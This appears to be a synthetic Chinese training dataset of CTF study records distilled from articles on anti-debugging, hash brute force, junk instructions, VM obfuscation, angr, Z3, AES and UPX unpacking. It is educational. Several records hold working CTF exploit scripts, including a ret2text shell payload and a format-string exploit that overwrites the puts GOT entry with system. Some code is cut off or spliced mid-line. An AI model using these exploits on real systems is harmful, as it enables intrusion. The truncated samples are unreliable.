BOOL IsHeapDebugged() {
    HANDLE hHeap = GetProcessHeap();
    if (!hHeap) {
        return FALSE;
    }

    ULONG Flags = *(ULONG*)((BYTE*)hHeap + 0x40);      // Flags 偏移量可能因系统版本变化
    ULONG ForceFlags = *(ULONG*)((BYTE*)hHeap + 0x44); // ForceFlags 偏移量

    if (Flags != 0x2 || ForceFlags != 0) {
        return TRUE;
    }
    return FALSE;
}

int main() {
    if (IsHeapDebugged()) {
        printf("debugger\n");
    } else {
        printf("no debugger\n");
    }

    system("pause");
    return 0;
}
```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《反调试》的“TLS 回调函数”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：反调试 / TLS 回调函数
关键词：TLS、IMAGE_TLS_DIRECTORY、Thread、Local、Storage、数被广泛应用于反调试、回调函数中加入反调试、这样在程序被调试、运行时就会检测调试
蒸馏要点：
- TLS（Thread Local Storage）回调函数在 Windows 中的作用是在线程启动时自动执行某些特定操作，而这个执行顺序是在进入线程的入口点代码之前的。
- 这里简要了解添加 TLS 回调函数的知识，重点了解如何去除。
- 手动添加 TLS 回调函数
- 手动添加 TLS，需要知道`IMAGE_TLS_DIRECTORY`结构体与 TLS 回调函数放到 PE 文件的哪些位置。向某个 PE 文件添加代码或者数据时候有如下三种来查找合适的位置：
- 增加最后一个节区域的大小
- 添加到节区域末尾的空白处
- 在最后添加新节区
可用于训练的标准回答：
### TLS 回调函数

TLS（Thread Local Storage）回调函数在 Windows 中的作用是在线程启动时自动执行某些特定操作，而这个执行顺序是在进入线程的入口点代码之前的。正因为这个特点，TLS 回调函数被广泛应用于反调试技术和其他安全相关的技术中。也就是直接在 TLS 回调函数中加入反调试代码，这样在程序被调试运行时就会检测调试器的存在。

这里简要了解添加 TLS 回调函数的知识，重点了解如何去除。

- 手动添加 TLS 回调函数

手动添加 TLS，需要知道`IMAGE_TLS_DIRECTORY`结构体与 TLS 回调函数放到 PE 文件的哪些位置。向某个 PE 文件添加代码或者数据时候有如下三种来查找合适的位置：

- 增加最后一个节区域的大小
- 添加到节区域末尾的空白处
- 在最后添加新节区

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Hash 类算法》的“脚本爆破”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Hash 类算法 / 脚本爆破
关键词：hashlib、hash_type、hash_func、import、string、sha256、guess、itertools、target、bytes
蒸馏要点：
- 通过编写脚本进行碰撞爆破。
可用于训练的标准回答：
### 脚本爆破

通过编写脚本进行碰撞爆破。

通用脚本：

```python
import string
import hashlib
import itertools

#设置目标哈希值
target = bytes.fromhex("")

#设置字符集（可以根据需要修改，以下为大小写字母和数字）
charset = (string.ascii_letters + string.digits).encode()

#根据选择的哈希算法创建哈希对象
hash_type = 'sha256'

if hash_type == 'md5':
    hash_func = hashlib.md5
elif hash_type == 'sha1':
    hash_func = hashlib.sha1
elif hash_type == 'sha256':
    hash_func = hashlib.sha256
else:
    print("Unsupported hash type")
    exit()

for i in itertools.product(charset, repeat=6): #这里的6是字符的长度，可以修改为任何你想要的长度
    guess = bytes(i)
    hashed = hash_func(guess).digest()
    if hashed == target:
        print(f"Found match: {guess.decode()}")
        break
```

Hash 类算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《花指令：原理：反汇编算法的设计缺陷》的“分析”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：花指令：原理：反汇编算法的设计缺陷 / 分析
关键词：0x1152、0x48h、loc_1151、0xebh、jmp、0x1154、nop、hello world!、main、f5
蒸馏要点：
- 这里我们先运行一下程序，发现程序只是用于输出`hello world!`。
- 通过汇编代码逻辑分析我们发现`jmp`指令跳转到了`loc_1151`标签的后一字节处即`0x1152`。
- 我们首先通过快捷键`u`将`loc_1151`标签处的汇编指令解释为机器码。
- 然后先将`0x1152`后面的汇编指令解释为机器码，之后在`0x1152`处按快捷键`c`将其解释为汇编代码。
- 可以看到现在的汇编代码符合程序功能，我们通过此判断`0xebh`到`0x48h`都是花指令。
- 我们重新将他们通过快捷键`u`解释为机器码，然后在`0x48h`的下面即`0x1154`处按快捷键`c`将它们解释为汇编代码。
- 然后将`0xebh`到`0x48h`全部`nop`掉。
可用于训练的标准回答：
#### 分析

这里我们先运行一下程序，发现程序只是用于输出`hello world!`。

通过汇编代码逻辑分析我们发现`jmp`指令跳转到了`loc_1151`标签的后一字节处即`0x1152`。

我们首先通过快捷键`u`将`loc_1151`标签处的汇编指令解释为机器码。

然后先将`0x1152`后面的汇编指令解释为机器码，之后在`0x1152`处按快捷键`c`将其解释为汇编代码。

可以看到现在的汇编代码符合程序功能，我们通过此判断`0xebh`到`0x48h`都是花指令。

我们重新将他们通过快捷键`u`解释为机器码，然后在`0x48h`的下面即`0x1154`处按快捷键`c`将它们解释为汇编代码。

然后将`0xebh`到`0x48h`全部`nop`掉。

之后选中`main`函数头部，按快捷键`p`创建函数。

然后即可`f5`反编译。

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“opcode定义”？请用《VM 指令虚拟化》中的内容回答。

[Assistant]
1. 接着自定义一些指令，需要决定该指令集是定长的还是变长的。
2. 这里以变长指令集为例，先列出一个表来：
3. | opcode | 指令格式          | 指令长度 | 指令含义                                |
4. | 0x10   | 0x10操作数       | 2    | r1=操作数                              |
5. | 0x11   | 0x11操作数       | 2    | r2=操作数                              |
6. | 0x20   | 0x20操作数1 操作数2 | 3    | mem[操作数1]=操作数2                      |

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[[NISACTF 2022]UAF]”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：Pwn：Stack / [[NISACTF 2022]UAF]（第 1 段）
关键词：PIE、input、puts、UAF、NISACTF、else、page、RELRO、create、LABEL_13
蒸馏要点：
- [[NISACTF 2022]UAF]
- 题型：存在函数指针
- 发现为32位程序，并且没有`PIE`保护。
- 分析`main`函数
- 分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。
- 接下来我们逐个功能函数分析
- 首先我们来分析`create`函数，当输入的数字为1时执行
可用于训练的标准回答：
### [[NISACTF 2022]UAF]

> [[NISACTF 2022]UAF]

题型：存在函数指针

1. 查保护

发现为32位程序，并且没有`PIE`保护。

```shell
➜  [NISACTF 2022]UAF checksec ./pwn
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

2. 分析

分析`main`函数

分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。

接下来我们逐个功能函数分析

```c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int input[4]; // [esp+8h] [ebp-10h] BYREF
  input[1] = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.create");
      puts("2.edit");
      puts("3.delete");
      puts("4.show");
      putchar(58);
      __isoc99_scanf("%d", input);
      if ( input[0] != 2 )
        break;
      edit();
    }
    if ( input[0] > 2 )
    {
      if ( input[0] == 3 )
      {
        del();
      }
      else if...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《README：md5》中“md5”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《README：md5》的“md5”。
关联知识点：
- C语言实现的MD5算法源码
代码片段：
```
usage:
    ./md5 -f file ...
    ./md5 string ...
```

README：md5


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《RSA与大数运算》中“例题 [SUCTF2019] SignIn”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《RSA与大数运算》的“例题 [SUCTF2019] SignIn”。
语言/类型：python
关联知识点：
- 反编译分析，发现程序使用了 gmp 大数运算库。
- 根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。
- 最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。
- 通过工具yafu分解模数来得到$p$和$q$。
- 通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。
代码片段：
```python
from Crypto.Util.number import *

n = 103461035900816914121390101299049044413950405173712170434161686539878160984549
e = 65537
c = int("ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35", 16)
p=282164587459512124844245113950593348271
q=366669102002966856876605669837014229419

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
#suctf{Pwn_@_hundred_years}
```

RSA与大数运算


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《暴力破解》中“Windows”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《暴力破解》的“Windows”。
语言/类型：cpp
关联知识点：
- 2024 MoeCTF BlackHole
- `LoadLibrary`然后调用函数进行暴力破解
代码片段：
```cpp
#include
#include

void bruteForce()
{
    HMODULE h = NULL;
    h = LoadLibraryA("you_cannot_crack_me.vmp.dll");
    if (!h)
    {
    printf("failed to load dll...\n");
        return;
    }
    typedef int(*checkFlag)(char*, size_t);
    char* cracking = (char*)malloc(16);
    if (!cracking) return;
        cracking[0] = 'm';
        cracking[1] = 'o';
        cracking[2] = 'e';
        cracking[3] = 'c';
        cracking[4] = 't';
        cracking[5] = 'f';
        cracking[6] = '{';
        cracking[7] = 'c';
        cracking[12] = 'm';
        cracking[14] = '}';
        cracking[15] = '\0';  checkFlag check = (checkFlag)GetProcAddress(h, "checkMyFlag");
        for (char b = 'a'; b
#include
#include
#include      // for dlopen, dlsym
#include

#define FLAG_LEN 16

typedef int (*check_flag_t)(char *, size_t);

void brute_force() {
    void *handle;
    check_flag_t check_flag;
    char *error;

    // 加载动态库
    handle = dlopen("./libcrackme.so", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "[-] dlopen failed: %s\n", dlerror());
        exit(EXIT_FAILURE);
    }

    // 清除错误
    dlerror();

    // 获取函数地址
    check_flag = (check_flag_t)dlsym(handle, "check_flag");
    if ((error = dlerror()) != NULL)  {
        fprintf(stderr, "[-] dlsym failed: %s\n", error);
        exit(EXIT_FAILURE);
    }

    // 初始化已知 flag 模板
    char flag[FLAG_LEN + 1] = "moectf{cxxxxmy}";  // 你要爆破的是 xxxx 和 y
    flag[FLAG_LEN] = '\0';

    const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789";
    size_t charset_len = strlen(charset);

    // 暴力爆破 5 位未知字符（第8~11,13）
    for (in
...
```

例题/爆破/暴力破解.md

暴力破解


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《VM 指令虚拟化》的“解题方法”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。

[Assistant]
出处：VM 指令虚拟化 / 解题方法（第 2 段）
关键词：opcode
可用于训练的标准回答：
```python
opcode=[0x01, 0x03, 0x03, 0x05, 0x00, 0x00, 0x11, 0x00, 0x00, 0x01, 0x01, 0x11, 0x0C, 0x00, 0x01, 0x0D, 0x0A, 0x00, 0x01, 0x03, 0x01, 0x05, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x01, 0x02, 0x00, 0x01, 0x00, 0x11, 0x0C, 0x00, 0x02, 0x0D, 0x2B, 0x00, 0x14, 0x00, 0x02, 0x01, 0x01, 0x61, 0x0C, 0x00, 0x01, 0x10, 0x1A, 0x00, 0x01, 0x01, 0x7A, 0x0C, 0x00, 0x01, 0x0F, 0x1A, 0x00, 0x01, 0x01, 0x47, 0x0A, 0x00, 0x01, 0x01, 0x01, 0x01, 0x06, 0x00, 0x01, 0x0B, 0x24, 0x00, 0x01, 0x01, 0x41, 0x0C, 0x00, 0x01, 0x10, 0x24, 0x00, 0x01, 0x01, 0x5A, 0x0C, 0x00, 0x01, 0x0F, 0x24, 0x00, 0x01, 0x01, 0x4B, 0x0A, 0x00, 0x01, 0x01, 0x01, 0x01, 0x07, 0x00, 0x01, 0x01, 0x01, 0x10, 0x09, 0x00, 0x01, 0x03, 0x01, 0x00, 0x03, 0x00, 0x00, 0x01, 0x01, 0x01, 0x06, 0x02, 0x01, 0x0B, 0x0B, 0x00, 0x02, 0x07, 0x00, 0x02, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x02, 0x05, 0x00, 0x02, 0x01, 0x00, 0x02, 0x0C, 0x00, 0x02, 0x01, 0x00,...

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“符号执行原理”？请用《Angr：Angr符号执行》中的内容回答。

[Assistant]
1. 定义：符号执行（Symbolic Execution）是一种程序分析技术，通过将程序输入替换为符号变量，探索程序的所有可能路径，并生成路径约束条件进行求解，从而帮助发现漏洞、验证程序正确性或生成测试用例。
2. 核心思想：通过将程序的输入抽象为符号变量，追踪这些变量在程序中的操作，并通过生成路径条件来验证各条路径的可行性。这种方法有助于检测潜在的错误和漏洞，并能够覆盖更多的执行路径，从而提高程序分析的全面性和准确性。
3. 什么是符号执行，一般我们运行一个程序需要给程序输入内容，直接输入内容后程序执行。这属于传统执行的使用实际的具体值来运行程序，而符号执行使用符号值来运行程序。
4. 符号执行的三个关键点：
5. 符号执行的关键在于：
6. 符号化输入：将程序的输入替换为符号变量。

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“2024极客大挑战 blastingmaster”？请用《Hash 类算法》中的内容回答。

[Assistant]
1. 分析主函数代码，发现读取了输入并去除换行符。然后由`byte_42DE`作为标志决定是否执行`sub_1464`函数，函数参数为我们输入的内容。然后再对指定大小内存进行比较检查对错。
2. 根据以上逻辑我们可以判断程序默认是执行`sub_1464`函数的，这个函数极可能就是加密函数。而`unk_2020`以及`unk_4060`可能就是存储密文的变量以及存储加密结果的变量。`dword_4040`很明显就是比较长度了。
3. 我们先根据代码逻辑进行函数及变量重命名方便理解。
4. 接下来我们首先使用 findcrypt 进行算法特征查找，但是最后 findcrypt 并没有找到算法特征。
5. 但是我们在函数窗口发现了算法特征，可以看到动态链接函数中的 MD5 字样。我们可以由此判断`encrypt`加密算法是 MD5 算法。
6. 进入`encrypt`函数分析，可以看到代码逻辑非常乱。

Hash 类算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[HNCTF 2022 WEEK2]fmtstrlevel2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[HNCTF 2022 WEEK2]fmtstrlevel2”。
语言/类型：python
关联知识点：
- 64位格式化字符串，got表可写
- 第一次泄露libc基址和劫持`fini_array`为main
- 程序自带的puts里有`;sh`，`;`分隔符，如果劫持puts的got表为system，则可以getshell
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("./libc-2.31.so")

fini_array=0x4031f0
ru("ID\n")
#0x11为泄露的libc偏移地址+aaa的长度，14+3=17
s(b'%45$paaa' + fmtstr_payload(7, {fini_array:elf.sym.main},numbwritten = 0x11))

addr=int(r(14),16)
print(hex(addr))
base=addr-libc.symbols["__libc_start_main"]-243
#base=addr-0x1f12e8
system=base+libc.sym.system
fmt=fmtstr_payload(6,{elf.got.puts:system})
sla(b'ID\n',fmt)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“给寄存器赋值一个具体值 123”？请用《Angr：Angr符号执行》中的内容回答。

[Assistant]
1. state.regs.rdi = 123
2. state.regs.get('reg_name')
3. setattr(state.regs, 'reg_name', value)
4. address = 0x401234
5. size_in_bytes = 16
6. state.memory.store(address, state.solver.BVS('mem', 8 * size_in_bytes))

给寄存器赋值一个具体值 123

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[NISACTF 2022\]ezstack”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [NISACTF 2022\]ezstack
关键词：p32、sys、payload、NISACTF、pwn、ezstack、ret2text、bin、exp、import
蒸馏要点：
- 32位，利用plt表函数和/bin/sh构造栈
可用于训练的标准回答：
### [NISACTF 2022\]ezstack

#ret2text #32位
32位，利用plt表函数和/bin/sh构造栈
**exp**
```python
from pwn import *

io=process("./pwn")
sys=0x8048512
sh=0x804a024
#payload=b'a'*(72+4)+p32(sys)+p32(0)+p32(sh)
payload=b'a'*(72+4)+p32(sys)+p32(sh)
io.sendline(payload)
io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“简介”？请用《SMC自修改代码》中的内容回答。

[Assistant]
1. 自修改代码（SMC, Self Modifying Code）是在程序执行过程中修改其自身指令的技术。通常，这种做法旨在通过减少指令路径长度来提高性能，或者为了避免重复代码，从而简化维护。自修改代码一般是有意进行的，目的是优化或保护程序的运行，而不是由于错误导致的意外修改。
2. 在逆向工程中，自修改代码通常表现为大量的无序代码，未被执行的部分无法直接分析。通过动态修改代码或数据，程序能够在运行时自我解密，防止静态分析工具的破解。这种技术常用于动态代码加密中，旨在通过修改代码来阻止逆向分析，直到程序执行到相应时刻才会恢复正常的可执行代码，从而达到反调试、反逆向的效果。

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 请将《Pyc：pyc文件》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。

[Assistant]
主题：Pyc：pyc文件
领域标签：reverse, crypto, ctf-method
知识结构：创建及使用 -> 文件结构 -> 0-4 字节是 MAGICNUMBER -> 4 ~ 12 字节是 4 个 \x00 -> 8 ~ 12 字节是 pyc 的写入时间（小端存储），一个时间戳 -> pyc 文件内容 -> 生成 pyc 文件 -> 然后加载生成的 pyc 文件 -> 逆向工具 -> 普通打包 -> 使用key参数打包 -> 反汇编
关键术语：LOAD_CONST、test、pyc、LOAD_NAME、import、LOAD_FAST、STORE_NAME、CALL_FUNCTION、STORE_FAST、BUILD_LIST、BUILD_SLICE、AES、LOAD_GLOBAL、pyinstaller、key、inf
核心要点：
- pyc 文件是 python 在编译 py 文件过程中出现的主要中间过程文件，是一种二进制文件，是一种bytecode。
- 我们可以通过 py_compile 模块来生成 pyc 文件，或者通过 python -m test.py 命令来生成 pyc 文件：
- 两种操作都会在当前目录下新建一个 `__pycache__` 目录，其中存放着 test.cpython-版本号.pyc。
- 如果有一个现成的pyc 文件，如何导入它。
- 先写个`test.py`
- 我们可以通过 py_compile 模块来生成 pyc 文件。
- 或者之间通过命令行 python -m test.py 生成 pyc。
- 两种操作都会在当前目录下新建一个`__pycache__`目录，其中存放着`test.cpython-`版本号`.pyc`。
- 如果有一个现成的`pyc`文件，要如何导入它呢？
- pyc 文件在创建的时候都会往里面写入如下内容：

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Z3》的“变量表示”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Z3 / 变量表示
关键词：- Real-实数型、- BitVec-向量、只有向量类型可以进行位运算（异或，左右移位等）

- Bool、python
p=z3.Bool(name='p')、- 整型宇实数类型变量之间可以互相进行转换、import、BitVec、Real、Bool、ToReal
蒸馏要点：
- Real-实数型
- BitVec-向量
- 只有向量类型可以进行位运算（异或，左右移位等）
- 整型宇实数类型变量之间可以互相进行转换
可用于训练的标准回答：
### 变量表示

- Int-整数型

```python
from z3 import *
a=Int('a')#声明单个整型变量
a,b=Ints('a b')#声明多个整型变量
```

- Real-实数型

```python
from z3 import *
a=Real('a')#声明单个实性变量
a,b=Reals('a b')
```

- BitVec-向量

```python
from z3 import *
a=BitVec('a',8)#声明单个8位的变量
a,b=BitVec('a b',8)#声明多个8位的变量
```

只有向量类型可以进行位运算（异或，左右移位等）

- Bool

```python
p=z3.Bool(name='p')
```

- 整型宇实数类型变量之间可以互相进行转换

```python
>>> z3.ToReal(x)
ToReal(x)
>>> z3.ToInt(y)
ToInt(y)
```

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“flag-market”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. scanf 写入 oflag 无限制。
2. 可以覆盖掉 format 字符串。
3. `printf`会打印`format`字符串，所以如果`format`字符串被覆盖掉就会产生格式化字符串漏洞。
4. 由于`memset`的存在将栈上的 flag 清空了，所以我们无法通过格式化字符串漏洞从栈上读取 flag。
5. 但是由于 I/O 类型的函数（如fopen、fgets）为了提高效率，会用到缓冲机制，这个缓冲机制通过调用 malloc 来实现的。
6. 使用`fopen`时在内部会调用`malloc`来开辟一片空间，这片空间中会存放一个叫`FILE`的结构体，该结构体用于管理文件的描述符、当前读写位置、是否发生了错误、指向缓冲区的指针。光有管理结构还不够，还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《AES》的“逆向分析”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：AES / 逆向分析
关键词：Box、unsigned
蒸馏要点：
- 密钥长度为 16/24/32 字节
- 分组长度为 16 字节
- IV 长度为 16 字节
- 输出长度对齐到 16 字节倍数
- S Box 常量特征
可用于训练的标准回答：
## 逆向分析

- S盒
- 密钥长度为 16/24/32 字节
- 分组长度为 16 字节
- IV 长度为 16 字节
- 输出长度对齐到 16 字节倍数

* S Box 常量特征

```c
unsigned char S[256] = {
        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x...

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 请将《UPX 脱壳详解》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。

[Assistant]
主题：UPX 脱壳详解
领域标签：pwn, reverse, ctf-method
知识结构：简介 -> 工具脱壳 -> UPX工具脱壳 -> UPX魔改壳 -> 手脱 -> EXE -> ELF
关键术语：UPX、OEP、upx、ImageBase、upx1、upx0、CTF、auto、UPX1、dump、e_phoff、e_phnum、dumpfile、UPX0、Dword、rpx
核心要点：
- UPX 壳是一种压缩壳，在 CTF 比赛中比较常见。
- 针对 UPX 壳有专业的脱壳工具，一般我们可以直接使用工具脱壳。
- 但是在比赛中往往不会让你那么简单就把壳脱掉，出题人会通过修改加壳程序的一些特征导致脱壳工具无法使用。
- 这个时候我们可以通过恢复修改掉的地方让工具继续奏效。
- 当然我们也可以直接手脱，手动脱壳我们就需要找到加壳程序的 OEP 然后 dump 文件内存。
- OEP 原始程序入口点。EP (Entry Point)，意即程序的入口点。而 OEP 是程序的原始入口点，一个正常的程序只有 EP，只有入口点被修改的程序（加壳），才会拥有OEP。
- UPX（Ultimate Packer for eXecutables）是一个开源的可执行文件压缩器，用于减小可执行文件的大小，同时保持其功能。UPX 支持多种操作系统，包括 Linux、Windows 和 macOS。
- UPX 脱壳工具使用请参考这篇文章。
- UPX 脱壳工具使用：【逆向】UPX工具使用及加壳_upx.exe-CSDN博客
- 直接使用 UPX 脱壳工具进行脱壳

UPX 脱壳详解